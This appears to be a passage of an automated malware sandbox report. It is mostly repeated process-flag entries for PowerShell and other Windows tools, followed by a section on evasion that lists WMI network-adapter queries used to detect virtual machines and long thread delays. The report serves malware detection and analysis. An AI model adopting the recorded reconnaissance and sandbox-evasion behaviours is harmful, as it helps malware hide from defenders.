              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\systeminfo.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\getmac.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID=&quot;1&quot;} WHERE ResultClass=Win32_NetworkAdapterConfiguration
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element=&quot;Win32_NetworkAdapter.DeviceID=\&quot;1\&quot;&quot;
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3071Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2699Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4590
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 406
